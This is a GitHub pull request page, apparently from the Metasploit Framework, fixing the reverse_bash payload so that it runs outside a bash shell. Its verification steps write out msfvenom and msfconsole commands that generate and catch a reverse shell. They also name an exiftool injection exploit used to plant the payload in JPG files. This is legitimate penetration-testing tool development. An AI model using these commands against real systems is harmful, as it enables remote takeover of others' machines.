Bash payload works outside of bash context #15875
Merged
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
This resolves #15191. The chosen solution is to prepend
bash -c
to the payload, and quote it.Verification
List the steps needed to make sure this thing works
msfvenom -p cmd/unix/reverse_bash lhost=127.0.0.1 lport=1234
msfconsole
handler -P 1234 -H 0.0.0.0 -p cmd/unix/reverse_bash
sh
)cmd/unix/reverse_bash_udp
payload typeexploit/unix/fileformat/exiftool_djvu_ant_perl_injection
)Demonstration
To test this directly:
TCP
UDP
To test this in a real situation, I created a new user with the default shell of
/bin/sh
, and tested the issue for which this bug was initially reported.I created
broke.jpg
prior to this fix, with acmd/unix/reverse_bash
payload, andworkingtcp.jpg
andworkingudp.jpg
after it.Before the fix
After the fix, Reverse Bash TCP
After the fix, Reverse Bash UDP